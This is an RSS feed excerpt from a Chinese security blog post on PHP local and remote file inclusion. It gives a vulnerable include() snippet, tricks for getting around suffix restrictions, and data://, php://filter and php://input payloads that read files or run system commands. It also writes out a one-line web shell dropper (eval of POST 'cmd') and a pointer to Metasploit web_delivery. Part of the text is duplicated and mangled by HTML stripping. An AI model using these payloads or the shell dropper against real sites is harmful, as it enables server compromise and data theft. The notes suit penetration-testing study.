文件包含 on 首页 | Widegram https://widegram.com/categories/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/ Recent content in 文件包含 on 首页 | Widegram Hugo -- gohugo.io en Mon, 11 Oct 2021 17:34:26 +0000 LFI & RFI https://widegram.com/2021/10/LFI-and-RFI/ Mon, 11 Oct 2021 17:34:26 +0000 https://widegram.com/2021/10/LFI-and-RFI/ 一个例子 $file = $_GET[&#39;filename&#39;]; include($file); //http://XXX?filename=1.jpg Local File Include 后缀限制 $file = $_GET[&#39;filename&#39;.&#39;.php&#39;]; include($file); 针对PHP低版本（5.2可行）： %00截断 &amp; 长度突破 针对高版本：协议利用 前提：data协议开启，allow_url_include=1； XXX.php?filename=data://text/plain,&lt;?php%20phpinfo();?&gt; Remote File Include 后缀限制 RFI的后缀限制突破方法：加入GET参数（也就是&quot;？&ldquo;符号）。如XXX.php?filename=http://XXX.txt?即可 协议利用 php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行： php://input Post:<?php system('ver')?> <?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?> data://text/plain,<?php%20phpinfo();?> 思路 流程：想办法包含文件-文件来源（能不能上传） 不能上传：包含系统自身文件渗透，包含日志文件渗透 能上传：冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery 一个例子 
$file = $_GET['filename'];
include($file);

//http://XXX?filename=1.jpg

Local File Include

后缀限制

$file = $_GET['filename'.'.php'];
include($file);
  1. 针对PHP低版本（5.2可行）： %00截断 & 长度突破
  2. 针对高版本：协议利用 前提：data协议开启，allow_url_include=1； XXX.php?filename=data://text/plain,<?php%20phpinfo();?>

Remote File Include

后缀限制

RFI的后缀限制突破方法：加入GET参数（也就是"？“符号）。如XXX.php?filename=http://XXX.txt?即可

协议利用

php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行： php://input Post:

');?>

data://text/plain,

思路

流程：想办法包含文件-文件来源（能不能上传） 不能上传：包含系统自身文件渗透，包含日志文件渗透 能上传：冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery

]]>